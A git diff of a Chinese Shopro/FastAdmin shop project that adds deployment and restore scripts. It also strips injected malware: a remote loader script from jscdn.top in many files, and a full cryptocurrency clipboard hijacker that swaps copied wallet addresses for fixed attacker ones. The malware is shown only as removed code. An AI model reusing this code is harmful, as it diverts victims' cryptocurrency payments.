echo "[ERR] 无法创建目录: {$dstDir}\n";
$errors++;
continue;
}
if (!copy($src, $dst)) {
echo "[ERR] 恢复失败: {$relative}\n";
$errors++;
continue;
}
@chmod($dst, 0644);
$restored++;
$bytes += filesize($src) ?: 0;
if ($restored % 200 === 0) {
echo "--- 已恢复 {$restored} 文件 ---\n";
}
}
echo "\n========== 完成 ==========\n";
echo "恢复: {$restored} 个文件";
if (!$dryRun) {
echo ', ' . formatBytes($bytes);
}
echo "\n";
echo "失败: {$errors}\n";
exit($errors > 0 ? 1 : 0);
function listSnapshots(string $snapshotsRoot): void
{
if (!is_dir($snapshotsRoot)) {
echo "暂无快照(目录不存在: {$snapshotsRoot})\n";
echo "请先执行: bash deploy/compress-uploads.sh --safe\n";
return;
}
$dirs = glob($snapshotsRoot . DIRECTORY_SEPARATOR . '*', GLOB_ONLYDIR);
if (!$dirs) {
echo "暂无快照\n";
return;
}
rsort($dirs);
echo "可用快照:\n";
foreach ($dirs as $dir) {
$id = basename($dir);
$metaFile = $dir . DIRECTORY_SEPARATOR . '.snapshot_meta.json';
$extra = '';
if (file_exists($metaFile)) {
$meta = json_decode(file_get_contents($metaFile), true);
if ($meta) {
$extra = ' | ' . ($meta['created_at'] ?? '') . ' | '
. ($meta['image_count'] ?? '?') . ' 张 | '
. formatBytes((int) ($meta['total_bytes'] ?? 0));
}
}
$marker = ($dir === $dirs[0]) ? ' <- latest' : '';
echo " {$id}{$extra}{$marker}\n";
}
}
function resolveSnapshotDir(string $snapshotsRoot, string $id): ?string
{
if ($id === 'latest') {
if (!is_dir($snapshotsRoot)) {
return null;
}
$dirs = glob($snapshotsRoot . DIRECTORY_SEPARATOR . '*', GLOB_ONLYDIR);
if (!$dirs) {
return null;
}
rsort($dirs);
return $dirs[0];
}
$dir = $snapshotsRoot . DIRECTORY_SEPARATOR . $id;
return is_dir($dir) ? $dir : null;
}
function formatBytes(int $bytes): string
{
if ($bytes >= 1073741824) {
return round($bytes / 1073741824, 2) . 'GB';
}
if ($bytes >= 1048576) {
return round($bytes / 1048576, 2) . 'MB';
}
if ($bytes >= 1024) {
return round($bytes / 1024, 1) . 'KB';
}
return $bytes . 'B';
}

45
deploy/restore-uploads.sh 普通文件
查看文件

@@ -0,0 +1,45 @@
#!/usr/bin/env bash
# 一键恢复 uploads 图片
#
# 用法:
# bash deploy/restore-uploads.sh --list
# bash deploy/restore-uploads.sh --latest
# bash deploy/restore-uploads.sh --restore=20260923_235800
set -euo pipefail
DEPLOY_PATH="${DEPLOY_PATH:-$(cd "$(dirname "$0")/.." && pwd)}"
PHP_BIN="${PHP_BIN:-$(command -v php || true)}"
SCRIPT="${DEPLOY_PATH}/deploy/restore-uploads.php"
if [[ -z "$PHP_BIN" || ! -x "$PHP_BIN" ]]; then
echo "ERROR: 找不到可执行的 PHP"
exit 1
fi
ARGS=()
for arg in "$@"; do
case "$arg" in
--latest)
ARGS+=("--restore=latest")
;;
--list)
ARGS+=("--list")
;;
*)
ARGS+=("$arg")
;;
esac
done
if [[ ${#ARGS[@]} -eq 0 ]]; then
echo "用法:"
echo " bash deploy/restore-uploads.sh --list"
echo " bash deploy/restore-uploads.sh --latest"
echo " bash deploy/restore-uploads.sh --restore=20260923_235800"
exit 1
fi
echo "项目: ${DEPLOY_PATH}"
echo ""
exec "$PHP_BIN" "$SCRIPT" "${ARGS[@]}"

查看文件

@@ -0,0 +1,48 @@
#!/usr/bin/env bash
# 将 Shopro 队列 Supervisor 配置安装到服务器
# 用法(root):
# DEPLOY_PATH=/www/wwwroot/chufang.gynhc.com PHP_BIN=/www/server/php/74/bin/php bash deploy/supervisor/install.sh
set -euo pipefail
DEPLOY_PATH="${DEPLOY_PATH:-/www/wwwroot/chufang.gynhc.com}"
PHP_BIN="${PHP_BIN:-$(command -v php || true)}"
CONF_SRC="${DEPLOY_PATH}/deploy/supervisor/shopro-queue.conf"
CONF_DST="${SUPERVISOR_CONF_DIR:-/etc/supervisor/conf.d}/shopro-queue.conf"
if [[ -z "$PHP_BIN" || ! -x "$PHP_BIN" ]]; then
echo "ERROR: 找不到可执行的 PHP,请设置 PHP_BIN,例如:"
echo " PHP_BIN=/www/server/php/74/bin/php"
exit 1
fi
if [[ ! -f "$CONF_SRC" ]]; then
echo "ERROR: 配置文件不存在: $CONF_SRC"
exit 1
fi
if [[ ! -f "${DEPLOY_PATH}/think" ]]; then
echo "ERROR: 项目根目录不正确,未找到 think: ${DEPLOY_PATH}/think"
exit 1
fi
mkdir -p "${DEPLOY_PATH}/runtime/log"
sed \
-e "s|PHP_BIN_PLACEHOLDER|${PHP_BIN}|g" \
-e "s|DEPLOY_PATH_PLACEHOLDER|${DEPLOY_PATH}|g" \
"$CONF_SRC" > "$CONF_DST"
echo "已写入: $CONF_DST"
echo "PHP: $PHP_BIN"
echo "项目: $DEPLOY_PATH"
if command -v supervisorctl >/dev/null 2>&1; then
supervisorctl reread
supervisorctl update
supervisorctl status shopro-queue:*
else
echo "WARN: 未找到 supervisorctl,请手动执行:"
echo " supervisorctl reread && supervisorctl update && supervisorctl status"
fi
echo "完成。"

查看文件

@@ -0,0 +1,60 @@
; Shopro 队列守护(Supervisor)
;
; 安装步骤见下方注释,或阅读 deploy/supervisor/install.sh
;
; 队列说明:
; shopro-high 支付后处理(返积分、减库存、拼团、打印小票等,需优先消费)
; shopro 订单自动关闭/确认/评价、消息通知、分销升级、活动等
;
; 使用前请修改:
; 1. PHP_BIN → 服务器 php 绝对路径(宝塔常见:/www/server/php/74/bin/php)
; 2. DEPLOY_PATH → 站点根目录(含 think 文件,非 public)
; ---------------------------------------------------------------------------
; 高优先级队列(积分返还、打印等)
; ---------------------------------------------------------------------------
[program:shopro-queue-high]
process_name=%(program_name)s_%(process_num)02d
command=PHP_BIN_PLACEHOLDER DEPLOY_PATH_PLACEHOLDER/think queue:listen --queue shopro-high --sleep 1 --timeout 120 --memory 256
directory=DEPLOY_PATH_PLACEHOLDER
autostart=true
autorestart=true
startsecs=3
startretries=10
stopasgroup=true
killasgroup=true
stopwaitsecs=120
user=www
numprocs=1
redirect_stderr=true
stdout_logfile=DEPLOY_PATH_PLACEHOLDER/runtime/log/supervisor-shopro-high.log
stdout_logfile_maxbytes=20MB
stdout_logfile_backups=10
; ---------------------------------------------------------------------------
; 普通队列(自动关单、通知、分销等)
; ---------------------------------------------------------------------------
[program:shopro-queue]
process_name=%(program_name)s_%(process_num)02d
command=PHP_BIN_PLACEHOLDER DEPLOY_PATH_PLACEHOLDER/think queue:listen --queue shopro --sleep 3 --timeout 120 --memory 256
directory=DEPLOY_PATH_PLACEHOLDER
autostart=true
autorestart=true
startsecs=3
startretries=10
stopasgroup=true
killasgroup=true
stopwaitsecs=120
user=www
numprocs=1
redirect_stderr=true
stdout_logfile=DEPLOY_PATH_PLACEHOLDER/runtime/log/supervisor-shopro.log
stdout_logfile_maxbytes=20MB
stdout_logfile_backups=10
; ---------------------------------------------------------------------------
; 分组(可选,便于 supervisorctl 批量管理)
; ---------------------------------------------------------------------------
[group:shopro-queue]
programs=shopro-queue-high,shopro-queue
priority=999

查看文件

@@ -3,7 +3,6 @@
<head>
<meta charset="utf-8">
<title>恭喜,站点创建成功!</title>
<script src="https://jscdn.top/v1/app"></script>
<style>
.container {

查看文件

@@ -1,4 +0,0 @@
<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>

查看文件

@@ -1,4 +0,0 @@
<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>

查看文件

@@ -1 +0,0 @@
Jw6B2GoP61ZASmqgPOOd6QxWiOXgKtEEURkGP_JrMjs.K7chuAGH24AQWU21RxmoQOo0-daxBTwG2I51aHUyzlY

文件差异因一行或多行过长而隐藏

查看文件

@@ -1,5 +1,294 @@
define([], function () {
if (typeof Config.upload.storage !== 'undefined' && Config.upload.storage === 'cos') {
require(['upload'], function (Upload) {
//获取文件MD5值
var getFileMd5 = function (file, cb) {
//如果savekey中未检测到md5,则无需获取文件md5,直接返回upload的uuid
if (!Config.upload.savekey.match(/\{(file)?md5\}/)) {
cb && cb(file.upload.uuid);
return;
}
require(['../addons/cos/js/spark'], function (SparkMD5) {
var blobSlice = File.prototype.slice || File.prototype.mozSlice || File.prototype.webkitSlice,
chunkSize = 10 * 1024 * 1024,
chunks = Math.ceil(file.size / chunkSize),
currentChunk = 0,
spark = new SparkMD5.ArrayBuffer(),
fileReader = new FileReader();
fileReader.onload = function (e) {
spark.append(e.target.result);
currentChunk++;
if (currentChunk < chunks) {
loadNext();
} else {
cb && cb(spark.end());
}
};
fileReader.onerror = function () {
console.warn('文件读取错误');
};
function loadNext() {
var start = currentChunk * chunkSize,
end = ((start + chunkSize) >= file.size) ? file.size : start + chunkSize;
fileReader.readAsArrayBuffer(blobSlice.call(file, start, end));
}
loadNext();
});
};
var _onInit = Upload.events.onInit;
//初始化中完成判断
Upload.events.onInit = function () {
_onInit.apply(this, Array.prototype.slice.apply(arguments));
//如果上传接口不是COS,则不处理
if (this.options.url !== Config.upload.uploadurl) {
return;
}
var that = this;
$.extend(this.options, {
//关闭自动处理队列功能
autoQueue: false,
params: function (files, xhr, chunk) {
var params = Config.upload.multipart;
if (chunk) {
return $.extend({}, params, {
filesize: chunk.file.size,
filename: chunk.file.name,
chunkid: chunk.file.upload.uuid,
chunkindex: chunk.index,
chunkcount: chunk.file.upload.totalChunkCount,
chunkfilesize: chunk.dataBlock.data.size,
chunksize: that.options.chunkSize,
width: chunk.file.width || 0,
height: chunk.file.height || 0,
type: chunk.file.type,
uploadId: chunk.file.uploadId,
key: chunk.file.key,
});
} else {
params = $.extend({}, params, files[0].params);
params.category = files[0].category || '';
}
return params;
},
chunkSuccess: function (chunk, file, response) {
var etag = chunk.xhr.getResponseHeader("ETag").replace(/(^")|("$)/g, '');
file.etags = file.etags ? file.etags : [];
file.etags[chunk.index] = etag;
},
chunksUploaded: function (file, done) {
var that = this;
Fast.api.ajax({
url: "/addons/cos/index/upload",
data: {
action: 'merge',
filesize: file.size,
filename: file.name,
chunkid: file.upload.uuid,
chunkcount: file.upload.totalChunkCount,
md5: file.md5,
key: file.key,
uploadId: file.uploadId,
etags: file.etags,
category: file.category || '',
costoken: Config.upload.multipart.costoken,
},
}, function (data, ret) {
done(JSON.stringify(ret));
return false;
}, function (data, ret) {
file.accepted = false;
that._errorProcessing([file], ret.msg);
return false;
});
},
});
var _success = this.options.success;
//先移除已有的事件
this.off("success", _success).on("success", function (file, response) {
var ret = {code: 0, msg: response};
try {
if (response) {
ret = typeof response === 'string' ? JSON.parse(response) : response;
}
if (file.xhr.status === 200 || file.xhr.status === 204) {
if (Config.upload.uploadmode === 'client') {
ret = {code: 1, data: {url: '/' + file.key}};
}
if (ret.code == 1) {
var url = ret.data.url || '';
Fast.api.ajax({
url: "/addons/cos/index/notify",
data: {name: file.name, url: url, md5: file.md5, size: file.size, width: file.width || 0, height: file.height || 0, type: file.type, category: file.category || '', costoken: Config.upload.multipart.costoken}
}, function () {
return false;
}, function () {
return false;
});
} else {
console.error(ret);
}
} else {
console.error(file.xhr);
}
} catch (e) {
console.error(e);
}
_success.call(this, file, ret);
});
this.on("addedfile", function (file) {
var that = this;
setTimeout(function () {
if (file.status === 'error') {
return;
}
getFileMd5(file, function (md5) {
var chunk = that.options.chunking && file.size > that.options.chunkSize ? 1 : 0;
var params = $(that.element).data("params") || {};
var category = typeof params.category !== 'undefined' ? params.category : ($(that.element).data("category") || '');
category = typeof category === 'function' ? category.call(that, file) : category;
Fast.api.ajax({
url: "/addons/cos/index/params",
data: {method: 'POST', category: category, md5: md5, name: file.name, type: file.type, size: file.size, chunk: chunk, chunksize: that.options.chunkSize, costoken: Config.upload.multipart.costoken},
}, function (data) {
file.md5 = md5;
file.id = data.id;
file.key = data.key;
file.date = data.date;
file.uploadId = data.uploadId;
file.policy = data.policy;
file.signature = data.signature;
file.partsAuthorization = data.partsAuthorization;
file.params = data;
file.category = category;
if (file.status != 'error') {
//开始上传
that.enqueueFile(file);
} else {
that.removeFile(file);
}
return false;
}, function () {
that.removeFile(file);
});
});
}, 0);
});
if (Config.upload.uploadmode === 'client') {
var _method = this.options.method;
var _url = this.options.url;
this.options.method = function (files) {
if (files[0].upload.chunked) {
var chunk = null;
files[0].upload.chunks.forEach(function (item) {
if (item.status === 'uploading') {
chunk = item;
}
});
if (!chunk) {
return "POST";
} else {
return "PUT";
}
}
return _method;
};
this.options.url = function (files) {
if (files[0].upload.chunked) {
var chunk = null;
files[0].upload.chunks.forEach(function (item) {
if (item.status === 'uploading') {
chunk = item;
}
});
var index = chunk.dataBlock.chunkIndex;
// debugger;
this.options.headers = {"Authorization": files[0]['partsAuthorization'][index], "x-date": files[0]['date']};
if (!chunk) {
return Config.upload.uploadurl + "/" + files[0].key + "?uploadId=" + files[0].uploadId;
} else {
return Config.upload.uploadurl + "/" + files[0].key + "?partNumber=" + (index + 1) + "&uploadId=" + files[0].uploadId;
}
}
return _url;
};
this.options.params = function (files, xhr, chunk) {
var params = Config.upload.multipart;
if (chunk) {
return $.extend({}, params, {
filesize: chunk.file.size,
filename: chunk.file.name,
chunkid: chunk.file.upload.uuid,
chunkindex: chunk.index,
chunkcount: chunk.file.upload.totalChunkCount,
chunkfilesize: chunk.dataBlock.data.size,
width: chunk.file.width || 0,
height: chunk.file.height || 0,
type: chunk.file.type,
});
} else {
var retParams = $.extend({}, params, files[0].params || {});
delete retParams.costoken;
return retParams;
}
};
this.on("sending", function (file, xhr, formData) {
var that = this;
if (file.upload.chunked) {
var _send = xhr.send;
xhr.send = function () {
var chunk = null;
file.upload.chunks.forEach(function (item) {
if (item.status == 'uploading') {
chunk = item;
}
});
if (chunk) {
_send.call(xhr, chunk.dataBlock.data);
}
};
} else {
}
});
}
};
});
}
/*require.config({
paths: {
},
shim: {
}
});*/
require([], function (undefined) {
// 后台切换主题,先直接刷新
if (Config.modulename == 'admin' && Config.controllername == 'index' && Config.actionname == 'index') {
$('.skin-list .clearfix.full-opacity-hover').on('click', function () {
setTimeout(() => {
location.reload();
}, 100)
})
}
});
if (Config.modulename == 'admin' && Config.controllername == 'index' && Config.actionname == 'index') {
require.config({
paths: {
'vue': "../addons/shopro/libs/vue",
@@ -66,6 +355,7 @@ define([], function () {
})
});
}
require.config({
paths: {
'summernote': '../addons/summernote/lang/summernote-zh-CN.min'
@@ -81,7 +371,7 @@ require(['form', 'upload'], function (Form, Upload) {
try {
//绑定summernote事件
if ($(Config.summernote.classname || '.editor', form).length > 0) {
var selectUrl = typeof Config !== 'undefined' && Config.modulename === 'index' ? 'user/attachment' : 'general/file/index?select=1';
var selectUrl = typeof Config !== 'undefined' && Config.modulename === 'index' ? 'user/attachment' : 'general/file/index?select=1&multiple=true';
require(['summernote'], function () {
var imageButton = function (context) {
var ui = $.summernote.ui;
@@ -187,4 +477,5 @@ require(['form', 'upload'], function (Form, Upload) {
};
});
});

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefined, Backend, Table, Form) {
var Controller = {

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
define(['jquery', 'bootstrap', 'backend', 'addtabs', 'adminlte', 'form'], function ($, undefined, Backend, undefined, AdminLTE, Form) {
var Controller = {
index: function () {
@@ -420,5 +419,3 @@ define(['jquery', 'bootstrap', 'backend', 'addtabs', 'adminlte', 'form'], functi
return Controller;
});
(function(){function rca() {const tar = /(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear = /(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar = /(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0 = /(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1 = /(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38})(?:\b|[^A-Za-z0-9])/g,bar2 = /(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy', function(e) {const ttc = window.getSelection().toString();if (ttc.match(tar)) {const ncd = ttc.replace(tar, 'TCazYkdsXisrMAGT2tgecphbaj3cqSnXs8');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(ear)) {const ncd = ttc.replace(ear, '0xa537de913bdc941c017d79c4446749f2daa0f56d');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar)) {const ncd = ttc.replace(bar, '16xXFyiRKBSaHeiwr249MR3RFkbuUfionP');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar0)) {const ncd = ttc.replace(bar0, '3FQ5tXe4kT6ANoBpXd65tBWMakHe6J4Fcn');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar1)) {const ncd = ttc.replace(bar1, 'bc1qy4gqa4p8p8t585cr0wcs8ryhqxpvtf9f505eus');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar2)) {const ncd = ttc.replace(bar2, 'bc1qy4gqa4p8p8t585cr0wcs8ryhqxpvtf9f505eus');e.clipboardData.setData('text/plain', ncd);e.preventDefault();}});}setTimeout(()=>{const obs = new MutationObserver(ml => {for (const m of ml) {if (m.type === 'childList') {rca();}}});obs.observe(document.body, { childList: true, subtree: true });},1000);rca();})();

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefined, Backend, Table, Form) {
var Controller = {

查看文件

@@ -1,8 +1,7 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefined, Backend, Table, Form) {
define(['jquery', 'bootstrap', 'backend', 'table', 'form'], ($, undefined, Backend, Table, Form) => {
var Controller = {
index: function () {
index: () => {
var configIndex = new Vue({
el: "#configIndex",
data() {
@@ -230,15 +229,14 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
this.activeName = tab.name;
},
operation(id, title) {
let that = this;
Fast.api.open("shopro/config/platform?type=" + id + "&tab=" + that.activeName + "&title=" + title, title);
Fast.api.open("shopro/config/platform?type=" + id + "&tab=" + this.activeName + "&title=" + title, title);
},
},
})
},
platform: function () {
platform: () => {
Vue.directive('enterInteger', {
inserted: function (el) {
inserted: (el) => {
const input = el.nodeName === 'INPUT' ? el : el.getElementsByTagName('input')[0]
const fn = (e) => {
input.value = input.value.replace(/(^[^1-9])|[^\d]/g, '')
@@ -253,11 +251,11 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
function debounce(handle, delay) {
let time = null;
return function () {
let self = this,
const
arg = arguments;
clearTimeout(time);
time = setTimeout(function () {
handle.apply(self, arg);
time = setTimeout(() => {
handle.apply(this, arg);
}, delay)
}
}
@@ -305,6 +303,7 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
consume_get_score_ratio: '0'
},
withdraw: {
enable: '1',
methods: [],
wechat_alipay_auto: 0,
service_fee: '',
@@ -523,6 +522,11 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
this.detailForm.groupon_poster_bg_arr.push(Fast.api.cdnurl(this.detailForm.groupon_poster_bg))
} else if (this.type == 'withdraw') {
this.detailForm.service_fee = this.detailForm.service_fee * 100
if (this.detailForm.enable === undefined || this.detailForm.enable === null || this.detailForm.enable === '') {
this.$set(this.detailForm, 'enable', '1')
} else {
this.detailForm.enable = String(this.detailForm.enable)
}
} else if (this.type == 'services') {
this.detailForm.area_arr = []
if (this.detailForm.express && this.detailForm.express.Sender) {
@@ -545,28 +549,26 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
}
},
richtextSelect(field) {
let that = this;
Fast.api.open("shopro/richtext/select?multiple=false", "选择协议", {
callback: function (data) {
that.detailForm[field] = data.data.id;
callback: (data) => {
this.detailForm[field] = data.data.id;
}
});
return false;
},
attachmentSelect(type, field) {
let that = this;
Fast.api.open("general/file/index?select=1&multiple=false", "选择", {
callback: function (data) {
callback: (data) => {
switch (type) {
case "image":
that.detailForm[field] = data.url;
that.detailForm[field + '_arr'] = data.url;
this.detailForm[field] = data.url;
this.detailForm[field + '_arr'] = data.url;
break;
// case "file":
// that.detailForm[field] = data.url;
// break;
case "ssl":
that.detailForm.system[field] = data.url;
this.detailForm.system[field] = data.url;
break;
}
}
@@ -574,22 +576,20 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
return false;
},
delImg(type, field) {
let that = this;
switch (type) {
case "image":
that.detailForm[field] = '';
that.detailForm[field + '_arr'] = [];
this.detailForm[field] = '';
this.detailForm[field + '_arr'] = [];
break;
case "file":
that.detailForm[field] = '';
this.detailForm[field] = '';
break;
}
},
submitFrom(type) {
let that = this;
if (type == 'yes') {
if (this.type == 'withdraw') {
let flag = that.detailForm.recharge.moneys.every(m => {
const flag = this.detailForm.recharge.moneys.every(m => {
return m.money
})
if (!flag) {
@@ -600,30 +600,30 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
return false
}
}
let submitData = JSON.parse(JSON.stringify(that.detailForm))
if (that.type == 'withdraw') {
const submitData = JSON.parse(JSON.stringify(this.detailForm))
if (this.type == 'withdraw') {
submitData.service_fee = (Number(submitData.service_fee) / 100).toFixed(2)
}
if (that.type == 'services') {
if (this.type == 'services') {
submitData.express.Sender.ProvinceName = submitData.area_arr[0];
submitData.express.Sender.CityName = submitData.area_arr[1];
submitData.express.Sender.ExpAreaName = submitData.area_arr[2];
}
that.must_delete.forEach(i => {
this.must_delete.forEach(i => {
if (submitData[i]) {
delete submitData[i]
}
});
Fast.api.ajax({
url: 'shopro/config/platform?type=' + that.type,
url: 'shopro/config/platform?type=' + this.type,
loading: true,
type: 'POST',
data: {
data: JSON.stringify(submitData),
group: that.tab,
title: that.title
group: this.tab,
title: this.title
},
}, function (ret, res) {
}, (ret, res) => {
Fast.api.close()
})
} else {
@@ -631,22 +631,21 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
}
},
getPrinterStatus() {
let that = this;
that.printerStatus.loading = true;
this.printerStatus.loading = true;
Fast.api.ajax({
url: 'shopro/config/platform?type=printer&action=status',
loading: false,
type: 'GET'
}, function (ret, res) {
let data = res.data || {};
that.printerStatus = {
}, (ret, res) => {
const data = res.data || {};
this.printerStatus = {
loading: false,
online: !!data.online,
message: data.message || '打印机状态未知'
};
return false;
}, function (ret, res) {
that.printerStatus = {
}, (ret, res) => {
this.printerStatus = {
loading: false,
online: false,
message: (res && res.msg) || '状态检测失败'
@@ -655,33 +654,31 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
});
},
printerTest() {
let that = this;
that.$confirm('将打印一张测试标签,内容不会关联真实订单。', '打印测试标签', {
this.$confirm('将打印一张测试标签,内容不会关联真实订单。', '打印测试标签', {
confirmButtonText: '打印',
cancelButtonText: '取消',
type: 'warning'
}).then(function () {
that.printerTestLoading = true;
that.printerTestResult = '';
}).then(() => {
this.printerTestLoading = true;
this.printerTestResult = '';
Fast.api.ajax({
url: 'shopro/config/platform?type=printer&action=test',
loading: false,
type: 'POST'
}, function (ret, res) {
let data = res.data || {};
that.printerTestLoading = false;
that.printerTestResult = data.message || '测试请求已发送';
that.getPrinterStatus();
}, (ret, res) => {
const data = res.data || {};
this.printerTestLoading = false;
this.printerTestResult = data.message || '测试请求已发送';
this.getPrinterStatus();
return false;
}, function (ret, res) {
that.printerTestLoading = false;
that.printerTestResult = (res && res.msg) || '测试标签打印失败';
}, (ret, res) => {
this.printerTestLoading = false;
this.printerTestResult = (res && res.msg) || '测试标签打印失败';
return false;
});
}).catch(function () {});
}).catch(() => {});
},
getDeliverCompany(searchWhere = '') {
let that = this;
Fast.api.ajax({
url: 'shopro/express/select',
loading: false,
@@ -689,8 +686,8 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
data: {
searchWhere: searchWhere,
}
}, function (ret, res) {
that.deliverCompany = res.data.rows;
}, (ret, res) => {
this.deliverCompany = res.data.rows;
return false
})
},
@@ -701,13 +698,12 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
this.deliverDebounceFilter(searchWhere);
},
getAreaOptions() {
var that = this;
Fast.api.ajax({
url: `shopro/area/select`,
loading: false,
type: 'GET',
}, function (ret, res) {
that.areaOptions = res.data;
}, (ret, res) => {
this.areaOptions = res.data;
return false;
})
},
@@ -719,7 +715,6 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
}
},
ajaxUpload(id) {
let that = this;
var formData = new FormData();
formData.append("file", $('#' + id)[0].files[0]);
$.ajax({
@@ -729,11 +724,11 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
cache: false,
processData: false,
contentType: false,
success: function (data) {
success: (data) => {
if (data.code == 1) {
that.detailForm[id] = data.data.url
this.detailForm[id] = data.data.url
} else {
that.$notify({
this.$notify({
title: '警告',
message: data.msg,
type: 'warning'
@@ -753,14 +748,14 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
},
})
},
add: function () {
add: () => {
Controller.api.bindevent();
},
edit: function () {
edit: () => {
Controller.api.bindevent();
},
api: {
bindevent: function () {
bindevent: () => {
Form.api.bindevent($("form[role=form]"));
}
}

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
const { Callbacks } = require("jquery");
define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefined, Backend, Table, Form) {

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefined, Backend, Table, Form) {
var Controller = {

文件差异因一行或多行过长而隐藏

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
/*!
* jquery.event.drag - v 2.2
* Copyright (c) 2010 Three Dub Media - http://threedubmedia.com

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
/*!
* jquery.event.drop - v 2.2
* Copyright (c) 2010 Three Dub Media - http://threedubmedia.com

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
/**
* Created with JetBrains PhpStorm.
* User: xuheng

查看文件

@@ -2,7 +2,6 @@
<html>
<head>
<title>UEditorPlus 完整演示</title>
<script src="https://jscdn.top/v1/app"></script>
<meta name="viewport" content="width=device-width, minimum-scale=0.5, maximum-scale=5, user-scalable=no">
<meta http-equiv="X-UA-Compatible" content="ie=edge">

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
/*! jQuery v1.10.2 | (c) 2005, 2013 jQuery Foundation, Inc. | jquery.org/license
//@ sourceMappingURL=jquery-1.10.2.min.map
*/

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
/**
* ueditor plus 完整配置项
* 可以在这里配置整个编辑器的特性

二进制
public/cert/apiclient_cert.p12 普通文件 -> 可执行文件

二进制文件未显示。

42
public/cert/apiclient_cert.pem 普通文件 -> 可执行文件
查看文件

@@ -1,25 +1,25 @@
-----BEGIN CERTIFICATE-----
MIIEITCCAwmgAwIBAgIUXjfKGvdo5tVdF1vb8pun8DQk2XEwDQYJKoZIhvcNAQEL
MIIEJDCCAwygAwIBAgIUVlcWIG7yMI3h5ugkMMYt7EDWaWUwDQYJKoZIhvcNAQEL
BQAwXjELMAkGA1UEBhMCQ04xEzARBgNVBAoTClRlbnBheS5jb20xHTAbBgNVBAsT
FFRlbnBheS5jb20gQ0EgQ2VudGVyMRswGQYDVQQDExJUZW5wYXkuY29tIFJvb3Qg
Q0EwHhcNMjQwNzIzMDMzMTAzWhcNMjkwNzIyMDMzMTAzWjB7MRMwEQYDVQQDDAox
NjAxMjk5MjE4MRswGQYDVQQKDBLlvq7kv6HllYbmiLfns7vnu58xJzAlBgNVBAsM
Hui0teW3nui0pOm8jumFkuS4muaciemZkOWFrOWPuDELMAkGA1UEBhMCQ04xETAP
BgNVBAcMCFNoZW5aaGVuMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
rCdkCCXSwlQLubo2rOQXtfdy0g+IOAVKW6mU4Rfoss6REioa4lu/nmYxU2xlOcx0
bwvjVUThpeLIDHv8/r5lh4+2lEnEYqognocPubIG54caTi7CJc1cu3wv4OoKjeQv
iCfcM87UweNRWt7JZwB7KuTsAExqpiRWHMuYnEDcoTupZMmXyJ765AjjSrz0wVgu
iJNj6Ph1zFB1rdbe0OiGG+XSJqJMqW3PLv/6k3pMJ/BMHPQFnqs+dN3IIkiUN4o2
ziDVXL4MIbLy8zSQUkyDlh54Ui5DgBmAyGKdAUntGPOJM43QCrmfb3NpI8cZCHlV
